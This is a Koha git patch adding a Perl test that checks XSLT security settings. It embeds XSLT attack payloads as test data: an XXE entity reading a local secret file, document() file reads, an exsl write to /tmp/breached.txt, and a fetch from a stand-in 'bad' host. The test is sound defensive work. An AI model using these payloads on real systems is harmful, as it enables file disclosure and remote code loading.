From a75db4ebb54a9eee6f4dbc0979526eb06006f43d Mon Sep 17 00:00:00 2001
From: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>
Date: Fri, 15 Nov 2019 13:19:50 +0000
Subject: [PATCH] Bug 23290: Add test Koha/XSLT/Security.t
Content-Type: text/plain; charset=utf-8

Test plan:
Run it!

Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl>

Signed-off-by: David Cook <dcook@prosentient.com.au>
---
 t/db_dependent/Koha/XSLT/Security.t | 116 ++++++++++++++++++++++++++++++++++++
 1 file changed, 116 insertions(+)
 create mode 100644 t/db_dependent/Koha/XSLT/Security.t

diff --git a/t/db_dependent/Koha/XSLT/Security.t b/t/db_dependent/Koha/XSLT/Security.t
new file mode 100644
index 0000000000..a934481feb
--- /dev/null
+++ b/t/db_dependent/Koha/XSLT/Security.t
@@ -0,0 +1,116 @@
+#!/usr/bin/perl
+
+# Copyright 2019 Rijksmuseum
+#
+# This file is part of Koha.
+#
+# Koha is free software; you can redistribute it and/or modify it under the
+# terms of the GNU General Public License as published by the Free Software
+# Foundation; either version 3 of the License, or (at your option) any later
+# version.
+#
+# Koha is distributed in the hope that it will be useful, but WITHOUT ANY
+# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
+# A PARTICULAR PURPOSE.  See the GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with Koha; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+use Modern::Perl;
+use File::Temp qw/tempfile/;
+use Test::More tests => 6;
+use Test::Warn;
+
+use Koha::XSLT::Base;
+use t::lib::Mocks;
+
+t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 1 } );
+my $engine=Koha::XSLT::Base->new;
+
+my $secret_file = mytempfile('Big secret');
+my $xslt=<<"EOT";
+<!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]>
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
+  <xsl:variable name="secret">&secret;</xsl:variable>
+  <xsl:template match="/">
+      <secret><xsl:value-of select="\$secret"/></secret>
+  </xsl:template>
+</xsl:stylesheet>
+EOT
+my $xslt_file = mytempfile($xslt);
+
+my $output= $engine->transform( "<ignored/>", $xslt_file );
+like($output, qr/Big secret/, 'external entity got through');
+
+t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 0 } );
+$engine=Koha::XSLT::Base->new;
+$output= $engine->transform( "<ignored/>", $xslt_file );
+unlike($output, qr/Big secret/, 'external entity did not get through');
+
+# Adding a document call to trigger callback for read_file
+# Does not depend on expand_entities.
+$xslt=<<"EOT";
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
+  <xsl:template match="/">
+      <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file>
+  </xsl:template>
+</xsl:stylesheet>
+EOT
+$xslt_file = mytempfile($xslt);
+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
+    qr/read_file called in XML::LibXSLT/,
+    'Triggered security callback for read_file';
+
+# Trigger write_file
+$xslt=<<"EOT";
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
+  <xsl:template match="/">
+      <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document>
+  </xsl:template>
+</xsl:stylesheet>
+EOT
+$xslt_file = mytempfile($xslt);
+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
+    qr/write_file called in XML::LibXSLT/,
+    'Triggered security callback for write_file';
+
+# Trigger read_net
+$xslt=<<"EOT";
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
+  <xsl:template match="/">
+      <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" />
+  </xsl:template>
+</xsl:stylesheet>
+EOT
+$xslt_file = mytempfile($xslt);
+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
+    qr/read_net called in XML::LibXSLT/,
+    'Triggered security callback for read_net';
+
+# Check remote import (include should be similar)
+# Trusting koha-community.org DNS here ;)
+# This should not trigger read_net but fail on the missing import.
+$xslt=<<"EOT";
+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
+  <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/>
+  <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/>
+  <xsl:template match="/"/>
+</xsl:stylesheet>
+EOT
+$xslt_file = mytempfile($xslt);
+$engine->print_warns(1);
+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); }
+    qr/I\/O warning : failed to load external entity/,
+    'Remote import does not fail on read_net';
+
+sub mytempfile {
+    my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 );
+    print $fh $_[0]//'';
+    close $fh;
+    return $fn;
+}
-- 
2.11.0